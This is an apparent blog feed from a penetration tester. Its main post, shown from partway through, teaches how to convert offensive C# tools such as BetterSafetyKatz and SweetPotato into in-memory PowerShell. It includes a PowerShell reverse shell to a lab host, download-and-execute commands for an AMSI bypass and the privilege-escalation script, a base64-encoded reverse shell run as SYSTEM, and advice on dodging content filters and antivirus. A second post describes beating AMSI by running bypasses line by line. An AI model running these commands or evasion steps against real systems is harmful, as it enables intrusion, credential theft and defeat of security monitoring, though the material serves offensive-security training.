&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/LjFTdR7.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Finally, we will add a line to execute the loaded binary. This is where the namespace and class name of our program’s Main method comes into play. Below is the format in which a loaded C# program can be executed using PowerShell:&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-PowerShell&quot;&gt;[Namespace.Classname]::Main()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;So for our sample Hello World program, it would be:&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-PowerShell&quot;&gt;[HelloPentestTeam.Program]::Main()
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;If we add this line, load our final script in memory, and invoke our newly created function, you will see the sample C# program execute with no issues.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/v2bMqoD.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;IMPORTANT UPDATE NOTE: If the program you are tyring to convert has any Environment.Exit() statements, they will need to be removed or patched to prevent the whole powershell process from being killed. Thanks to &lt;a href=&quot;https://twitter.com/ShitSecure/status/1478465374664462337&quot;&gt;S3cur3Th1sSh1t&lt;/a&gt; for bringing this to my attention!&lt;/strong&gt;&lt;/p&gt;

&lt;hr /&gt;
&lt;h3 id=&quot;part-2-real-world-example-bettersafetykatz&quot;&gt;Part 2: Real World Example (BetterSafetyKatz)&lt;/h3&gt;

&lt;p&gt;&lt;a href=&quot;https://github.com/Flangvik/BetterSafetyKatz&quot;&gt;BetterSafetyKatz&lt;/a&gt; is a C# tool that will download the latest pre-compiled release of Mimikatz directly from the gentilkiwi GitHub repo, perform runtime patching on detected signatures, and use DInvoke to execute it in memory. S3cur3Th1sSh1t does include this in his PowerSharpPack repo, however we can make some simple modifications to improve it under certain circumstances.&lt;/p&gt;

&lt;p&gt;These include:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Allowing non-admin users to execute it (For use with extra features like Petit Potam)&lt;/li&gt;
  &lt;li&gt;Downloading from a custom source that’s less likely to be blocked&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The advantages of these modifications make BetterSafetyKatz a good real-world example of how we might want to modify an existing C# tool and then convert it into a PowerShell script for use in memory.&lt;/p&gt;

&lt;p&gt;To start, download the project from its GitHub page and open it in visual studio. We are then going to set the program’s Main method and class to “public” like we did with the sample hello world program. We are also going to locate the code that checks if the current user executing the program is an Administrator (highlighted below).&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/nuCPagN.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Because we want non-admin users to be able to run the program, we will be making a simple modification to the method that checks the current privileges of the process. As stated by the comment in the code, it will return true if the user is an administrator. Therefore, we will comment out the return statement that’s already there and create a new one right below it so that the method will always return true.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/pXXkHdl.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;

&lt;p&gt;At this point our first modification is complete, and we can focus on our second modification which will change the source of the Mimikatz download to something that’s much less likely to be blocked compared to GitHub. If we scroll down a bit, we will find the code that is responsible for the downloading of Mimikatz and discover that the “latestPath” variable is what ultimately contains the direct URL for the Mimikatz trunk file.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/LaUhTWQ.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;

&lt;p&gt;We can comment out the block of code that gets the direct URL for the Mimikatz trunk file and replace it with a line of code that assigns the “latestPath” variable to an arbitrary URL of our own. To help bypass content blockers, we will be using a Digital Ocean VPS setup with &lt;a href=&quot;https://aws.amazon.com/cloudfront/&quot;&gt;CloudFront&lt;/a&gt; so that we have a clean URL that is much less likely to be blocked. This has worked for my team in the past to bypass content blockers like Zscaler.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/5kwkeo5.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Now that we’ve made our two desired modifications to BetterSafetyKatz, we can compile the program and convert it into a PowerShell script. This is done exactly the same as we did before by first encoding the file to a base64 blob and assigning the blob to a variable in a function. We then add a line to decode the blob and load the compiled file into memory. Finally, we add a line that will execute the loaded file by calling the program’s Main method with the correct class and namespace.&lt;/p&gt;

&lt;p&gt;The final PowerShell script will look like so:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/A2LHl7z.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Because this script contains a tool that’s flagged by AV, it will also get flagged by AMSI when trying to run it in memory. This can be solved by running an AMSI bypass before execution, which will allow it to execute with no issue.&lt;/p&gt;

&lt;p&gt;Below is a screenshot of us testing the newly created script, demonstrating how it can now be run as a non-admin user and how it reaches out to our custom host to bypass content blockers.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/7ZNsait.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;part-3-converting-c-tools-with-parameters-sweetpotato&quot;&gt;Part 3: Converting C# Tools with Parameters (SweetPotato)&lt;/h3&gt;

&lt;p&gt;&lt;a href=&quot;https://github.com/CCob/SweetPotato&quot;&gt;SweetPotato&lt;/a&gt; is a C# tool that allows for the escalation of privileges from a local service account to SYSTEM via multiple different methods. I have used it in the past during penetration tests to escalate privileges after obtaining access to the default IIS user of a windows server after uploading a ASPX web shell.&lt;/p&gt;

&lt;p&gt;SweetPotato is not currently listed in the official PowerSharpPack repo, and it does require arguments for it to be used correctly. In this part of the tutorial, we will use it as an example to show how to convert a C# tool to PowerShell which requires arguments to be passed to it.&lt;/p&gt;

&lt;p&gt;First, download the project from GitHub, make sure it’s Main method and class are set to “public”, and compile it. Once compiled, convert it into a basic PowerShell script as demonstrated in the last two parts of this tutorial. You should end up with something that looks like this:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/N5VU5On.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;

&lt;p&gt;To allow our file to accept arguments, we must first add the code below before the base64 encoded blob. This code saves the arguments that are passed into the script in the “$Commands” variable&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-PowerShell&quot;&gt;[CmdletBinding()]
Param (
[Parameter(Position = 0, Mandatory = $false)]
[ValidateNotNullorEmpty()]
[String]
$Commands
)
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Once that has been completed, we must pass the “$Commands” variable into the loaded program’s Main method and ensure that the arguments are defined as being separated by a space. We also have to make sure that we have a way for our program to determine if a parameter has spaces in it so that we can use more complex arguments.&lt;/p&gt;

&lt;p&gt;This was accomplished by using “+++” in place of spaces when supplying the program an argument that contains spaces, so that our program keeps it all as one parameter. This is a bit hacky and probably a bit confusing, but hopefully the demonstration and code comments can help you understand. See the below code that was added after the line which loads our program into memory.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;DISCLAIMER: There is probably a MUCH better way to do this. Please feel free to implement a better solution.&lt;/strong&gt;&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-PowerShell&quot;&gt;$Commands2 = $Commands.Split(&quot; &quot;) # Split the supplied parameters which are separated by a space
$newcommands = @() # Create a new array
$newcommands = {$newcommands}.Invoke() # Allow us to add to our new array 
foreach ($Command in $Commands2)  # For each parameter in the array of parameters
{
    if($Command.Contains('+++')) # Check if current parameter contains any space indicators (+++)
    {
        $newcommands.Add($Command.Replace(&quot;+++&quot;, &quot; &quot;)) # Replace all +++ with spaces for the current parameter and add it to the new array 
    }
    else
    {
        $newcommands.Add($Command) # Add parameter as is to new array if it contains no space indicators (+++)
    }
}
[SweetPotato.Program]::Main($newcommands) # Supply the array of new parameters to our program
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;After this addition, our code is now complete. It should look something like this:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/qpLbS0y.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;

&lt;p&gt;As stated previously, this exploit is useful in cases where we might upload a webshell on an IIS server and find that we are running as the default IIS user. This will be the use case in which we will be demonstrating our newly created PowerShell script.&lt;/p&gt;

&lt;p&gt;Here you can see that I have a Windows Server 2019 VM setup that currently has IIS installed. I have uploaded an ASPX webshell that allows us to enter basic shell commands, and you can see that the server is currently running as the default “iis apppool\defaultapppool” user.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/kGKIkTR.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;

&lt;p&gt;We will first execute a PowerShell reverse shell through the webshell in order to get an interactive shell as the default IIS user. This was done by splitting a &lt;a href=&quot;https://gist.github.com/BankSecurity/c30ccc4e0056580daf3f8552cf3fb50c&quot;&gt;public reverse shell&lt;/a&gt; into two parts and loading the 2nd part after the first in order to evade AV detection.&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;powershell -ep Bypass &quot;$client = New-Object System.Net.Sockets.TCPClient('10.0.2.15',443);  $stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0}; iex (iwr -UseBasicParsing http://10.0.2.15/rev_stage2.ps1)&quot;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/hMO7dNP.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Next, we will download and execute an AMSI bypass in memory so that our Invoke-SweetPotato PowerShell script won’t get blocked.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-PowerShell&quot;&gt;iex (new-object net.webclient).downloadstring(&quot;http://10.0.2.15/AmSeeBP.ps1&quot;)
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Now that AMSI has been disabled in the current process, we can download and import our Invoke-SweetPotato script into memory. Once downloaded, we will invoke our script with the applicable arguments that will allow us to spawn another PowerShell reverse shell, but this time as SYSTEM.&lt;/p&gt;

&lt;p&gt;Download and Import into Memory:&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-PowerShell&quot;&gt;iex (new-object net.webclient).downloadstring(&quot;http://10.0.2.15/Invoke-SweetPotato.ps1&quot;)
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Execute our New SweetPotato PowerShell Script with Arguments to Spawn Reverse Shell:&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-PowerShell&quot;&gt;Invoke-SweetPotato &quot;-p C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -a -ExecutionPolicy+++Bypass+++-EncodedCommand+++JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACcAMQAwAC4AMAAuADIALgAxADUAJwAsADgAMAA4ADAAKQA7ACAAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwAgAGkAZQB4ACAAKABpAHcAcgAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAIABoAHQAdABwADoALwAvADEAMAAuADAALgAyAC4AMQA1AC8AcgBlAHYAXwBzAHQAYQBnAGUAMgAuAHAAcwAxACkA&quot;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Note that we utilized the +++ identifier that we setup earlier to tell the program that we wanted those spaces to be ignored when separating the parameters. Also, the base64 encoded command in the above is simply the same PowerShell reverse shell we used earlier, just pointing to a different port.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/w8LZkL6.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;part-4-converting-c-tools-the-easy-way-automation&quot;&gt;Part 4: Converting C# Tools THE EASY WAY! (Automation)&lt;/h3&gt;

&lt;p&gt;While converting C# tools to PowerShell manually provides for a lot of customization and fine tuning, it can sometimes be a bit time consuming. Luckily, there is an automated tool that can do most of the work for us. &lt;a href=&quot;https://github.com/cfalta/PowerShellArmoury&quot;&gt;PowerShellArmoury&lt;/a&gt; by &lt;a href=&quot;https://github.com/cfalta&quot;&gt;Cfalta&lt;/a&gt; is a project that focuses on building a single PowerShell file that contains all the scripts/tools that you may want to use during a penetration test. The project contains a PowerShell script called &lt;a href=&quot;https://github.com/cfalta/PowerShellArmoury/blob/master/ConvertTo-Powershell.ps1&quot;&gt;ConvertTo-Powershell.ps1&lt;/a&gt; that is capable of automatically converting C# programs into PowerShell with very minimal effort.&lt;/p&gt;

&lt;p&gt;To get started, download and import the script into memory. Running it is then as simple as supplying the -Path, -Namespace, -Class, and -Function parameter. The -Path parameter should be set to the compiled C# binary you wish to convert, and the other 3 parameters should be set to your program’s namespace, class, and Main method respectively. The Main method and its class of course must be set to “public”, similarly to how it was done in all the other previous parts of this tutorial. Below is an example of using this script to automatically generate a PowerShell version of SweetPotato:&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-PowerShell&quot;&gt;iex (iwr https://raw.githubusercontent.com/cfalta/PowerShellArmoury/master/ConvertTo-Powershell.ps1)
ConvertTo-Powershell -Path &quot;C:\Users\chippy\Desktop\HACKING_RESOURCES\SweetPotato.exe&quot; -namespace SweetPotato -class Program -function Main
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/gyU9PnC.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Note that the automatically generated file may not handle complex parameters as well as our custom version. For example, from my testing, I was not able to get it to correctly parse a multispace argument as seen in the last part of this tutorial. This is of course why we first learned how to do the whole process manually, so that we can update our scripts with whatever works best. 😊&lt;/p&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;part-5-the-end&quot;&gt;Part 5: The End&lt;/h3&gt;

&lt;p&gt;I hope you all enjoyed this blog post. I’ll leave below the list of all people and projects who made this tutorial possible. Thanks for reading!&lt;/p&gt;

&lt;p&gt;Credits/Greetz:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/S3cur3Th1sSh1t&quot;&gt;S3cur3Th1sSh1t&lt;/a&gt; for &lt;a href=&quot;https://github.com/S3cur3Th1sSh1t/PowerSharpPack&quot;&gt;PowerSharpPack&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/Flangvik&quot;&gt;Flangvik&lt;/a&gt; for &lt;a href=&quot;https://github.com/Flangvik/BetterSafetyKatz&quot;&gt;BetterSafetyKatz&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/CCob&quot;&gt;CCob&lt;/a&gt; for &lt;a href=&quot;https://github.com/CCob/SweetPotato&quot;&gt;SweetPotato&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/cfalta&quot;&gt;Cfalta&lt;/a&gt; for &lt;a href=&quot;https://github.com/cfalta/PowerShellArmoury&quot;&gt;PowerShellArmoury&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content><author><name>Icyguider (Matthew David)</name></author><category term="Other" /><summary type="html">Background (Inspiration &amp;amp; WHY???) PowerSharpPack by S3cur3Th1sSh1t is a collection of C# binaries embedded in PowerShell scripts that my pentest team often uses during network penetration tests to run useful tools like Rubeus, Certify, and Seatbelt. It is particularly useful because it allows us to run these tools directly in memory without writing to the disk. Combined with running an AMSI bypass beforehand, it has pretty much become a guaranteed way that our team can use the most popular pentest tools without being blocked by AV/EDR.</summary></entry><entry><title type="html">Bypass AMSI via PowerShell with Zero Effort</title><link href="https://icyguider.github.io/2021/07/21/Bypass-AMSI-via-PowerShell-with-Zero-Effort.html" rel="alternate" type="text/html" title="Bypass AMSI via PowerShell with Zero Effort" /><published>2021-07-21T00:00:00+00:00</published><updated>2021-07-21T00:00:00+00:00</updated><id>https://icyguider.github.io/2021/07/21/Bypass-AMSI-via-PowerShell-with-Zero-Effort</id><content type="html" xml:base="https://icyguider.github.io/2021/07/21/Bypass-AMSI-via-PowerShell-with-Zero-Effort.html">&lt;h3 id=&quot;background-what-is-amsi&quot;&gt;Background (What is AMSI?)&lt;/h3&gt;
&lt;p&gt;Over the last decade, powershell has proven to be a very accessible vector for pentesters and hackers alike to run malicious code in memory without writing to disk.
This provided some stealth at first when used against many poorly built antivirus solutions, but things eventually changed &lt;em&gt;a bit&lt;/em&gt;. 
Microsoft released a scan interface called &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/win32/amsi/how-amsi-helps&quot;&gt;AMSI&lt;/a&gt; that allows any antivirus installed on the system to monitor and block powershell scripts in memory. 
Below is an image of how a default Windows 10 installation blocks BloodHound’s powershell ingestor in memory:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/9Jmjw5E.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;how-do-we-bypass-it&quot;&gt;How do we bypass it?&lt;/h3&gt;

&lt;p&gt;With an “AMSI Bypass” of course! Googling this will provide some decent results, and you may even come across &lt;a href=&quot;https://amsi.fail/&quot;&gt;amsi.fail&lt;/a&gt;, a website by &lt;a href=&quot;https://twitter.com/Flangvik&quot;&gt;@Flangvik&lt;/a&gt; that will automatically generate bypasses for you. 
These bypasses are designed to disable AMSI in the powershell process they are run in.
This allows an attacker to then load and execute their malicious scripts without needing to worry about detection by AMSI.
Seems &lt;strong&gt;SUPER&lt;/strong&gt; easy! Let’s see what happens when we try to run one of the AMSI bypasses generated by &lt;a href=&quot;https://amsi.fail/&quot;&gt;amsi.fail&lt;/a&gt;:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/SPWSTwE.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Ah man, that almost worked. A few months ago it actually did work! However, we can see from the screenshot that our AMSI bypass was detected by AMSI itself.
This happened because the bypass we got from &lt;a href=&quot;https://amsi.fail/&quot;&gt;amsi.fail&lt;/a&gt; is relatively old now and Microsoft has already created a signature for it.
It seems like we actually might have to do some work ourselves. ;)&lt;/p&gt;

&lt;p&gt;As you might have noticed from the screenshot, all of the bypasses from &lt;a href=&quot;https://amsi.fail/&quot;&gt;amsi.fail&lt;/a&gt; are obfuscated in order defeat AMSI’s signature based detection. 
IMO, this is the best way to create working AMSI bypasses. However, manual obfuscation can be pretty time consuming, and bypasses can get detected over time as demonstrated previously.
Sure, coming up with an automated way of obfuscating bypasses would work too, but we’re trying to do this with &lt;strong&gt;ZERO&lt;/strong&gt; effort!&lt;/p&gt;

&lt;h3 id=&quot;help-i-dont-want-to-work&quot;&gt;HELP!!! I DON’T WANT TO WORK!&lt;/h3&gt;

&lt;p&gt;No worries! There’s an easier way to execute AMSI bypasses without the need for any obfuscation.
Let’s try taking the same AMSI Bypass we tried before, but this time we’re going to simply copy and paste it directly into a powershell terminal:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/0FeZbFQ.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;

&lt;p&gt;WOAH! That worked! And we were able to download and execute BloodHound’s ingestor from memory right after!
The reason for this is simple: AMSI can’t detect our bypass with a signature if we run it line-by-line.
Every time powershell is invoked to execute a command/script, AMSI is called to see if it’s is malicious. 
By running the script line-by-line, we are effectively splitting the bypass into 14 different scripts, none of which AMSI has a signature for.&lt;/p&gt;

&lt;p&gt;I have tested this with multiple bypasses and scripts with good success.
I’ve found the best AMSI bypass to use with this method (and in general) is the &lt;a href=&quot;https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell#Patching-amsi.dll-AmsiScanBuffer-by-rasta-mouse&quot;&gt;AmsiScanBuffer patch&lt;/a&gt; created by &lt;a href=&quot;https://twitter.com/_RastaMouse&quot;&gt;rasta-mouse&lt;/a&gt;. It can be executed using this method with no need for ANY obfuscation.&lt;/p&gt;

&lt;h3 id=&quot;so-thats-it-its-really-that-easy&quot;&gt;So that’s it? It’s really that easy?&lt;/h3&gt;

&lt;p&gt;Yep. Pretty much. The flaw is simple and so is the concept: split a detected script into multiple blocks that are executed in order to prevent it from being detected. 
The only limitation perhaps is that it takes an interactive session to be able to copy and paste a powershell script line-by-line.
This is fine for many pentesting scenarios, but becomes an issue if we were trying execute commands in a non-interactive setting, such as exploiting a RCE vulnerability in a web application.
For cases like that, a new tool was developed:&lt;/p&gt;

&lt;h3 id=&quot;bl1ng-bl1ng-new-tool-drop&quot;&gt;Bl1ng bl1ng, new tool drop!&lt;/h3&gt;

&lt;p&gt;Meet &lt;a href=&quot;https://github.com/icyguider/PowerChunker&quot;&gt;PowerChunker&lt;/a&gt;, a tool designed to automate the process described in this post for use in non-interactive environments.
&lt;a href=&quot;https://github.com/icyguider/PowerChunker&quot;&gt;PowerChunker&lt;/a&gt; will take a given powershell script, split it up line-by-line, and create a stager that will download and execute each line in order.
This allows the attacker to bypass AMSI using the method outlined in this post, all by invoking one single ps1 file.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/OYKrU3j.gif&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;

&lt;p&gt;I hope you enjoyed reading, and check back for more hacking related content!&lt;/p&gt;</content><author><name>Icyguider (Matthew David)</name></author><category term="Other" /><summary type="html">Background (What is AMSI?) Over the last decade, powershell has proven to be a very accessible vector for pentesters and hackers alike to run malicious code in memory without writing to disk. This provided some stealth at first when used against many poorly built antivirus solutions, but things eventually changed a bit. Microsoft released a scan interface called AMSI that allows any antivirus installed on the system to monitor and block powershell scripts in memory. Below is an image of how a default Windows 10 installation blocks BloodHound’s powershell ingestor in memory:</summary></entry><entry><title type="html">Whoami</title><link href="https://icyguider.github.io/2021/07/20/whoami.html" rel="alternate" type="text/html" title="Whoami" /><published>2021-07-20T00:00:00+00:00</published><updated>2021-07-20T00:00:00+00:00</updated><id>https://icyguider.github.io/2021/07/20/whoami</id><content type="html" xml:base="https://icyguider.github.io/2021/07/20/whoami.html">&lt;p&gt;Hello everyone! My name is Matthew David, and I am currently a penetration tester working in the USA. As of late, I’ve been doing a lot of independent research in order to improve my skill set. While I’ve improved greatly, I wouldn’t have been able to do it without the publicly available resources provided by some of the best souls in the industry. This blog serves as a place for me to publish some of my own research in hopes that others in the offensive security community can learn in a similar way that I do.&lt;/p&gt;

&lt;hr /&gt;
&lt;h4 id=&quot;want-to-talk-contact-me-here&quot;&gt;Want to talk? Contact me here:&lt;/h4&gt;

&lt;p&gt;Twitter: &lt;a href=&quot;https://twitter.com/icyguider&quot;&gt;https://twitter.com/icyguider&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Discord: icyguider#2366&lt;/p&gt;

&lt;p&gt;Email: 4skidstv@gmail.com&lt;/p&gt;

&lt;hr /&gt;
&lt;h4 id=&quot;check-out-my-youtube-channel&quot;&gt;Check out my Youtube Channel!&lt;/h4&gt;

&lt;p&gt;&lt;a href=&quot;https://youtube.com/c/4SkidsTV&quot;&gt;https://youtube.com/c/4SkidsTV&lt;/a&gt;&lt;/p&gt;</content><author><name>Icyguider (Matthew David)</name></author><category term="Other" /><summary type="html">Hello everyone! My name is Matthew David, and I am currently a penetration tester working in the USA. As of late, I’ve been doing a lot of independent research in order to improve my skill set. While I’ve improved greatly, I wouldn’t have been able to do it without the publicly available resources provided by some of the best souls in the industry. This blog serves as a place for me to publish some of my own research in hopes that others in the offensive security community can learn in a similar way that I do.</summary></entry></feed>